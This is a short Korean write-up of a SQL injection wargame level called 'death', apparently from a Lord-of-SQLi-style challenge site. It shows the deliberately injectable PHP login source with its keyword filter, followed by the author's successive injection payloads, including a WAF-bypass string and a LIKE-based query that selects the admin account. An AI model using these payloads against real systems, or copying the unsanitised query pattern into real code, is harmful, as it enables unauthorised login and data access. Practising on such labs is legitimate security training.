<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("death");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
1.
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
🔹 $_GET[id]
, $_GET[pw]
파라미터 필터링
❌ prob
, _
, .
, ()
, admin
, /i (대소문자를 구분하지 않음)
pw가 md5이다.
id=' or '1' = '1 --
접근이 막혔다.
id=' or '1' = '1 %23
id='#
흠.. 그럼 and, or 둘 다 막혔다는 건데..
id=-1'<@=1 OR {a 1}=1 OR '
웹 방화벽 bypass를 사용했더니 출력되었다. 근데, guest가 출력되어서 admin으로 출력해야한다.
id=-1'<@=1 OR {a 1}=1 and id like 'admin
아차차..admin
이 필터링되는 것을 까먹었다.
id=-1'<@=1 OR {a 1}=1 and id like 'a%'%23
'a%'
= a
로 시작하는 문자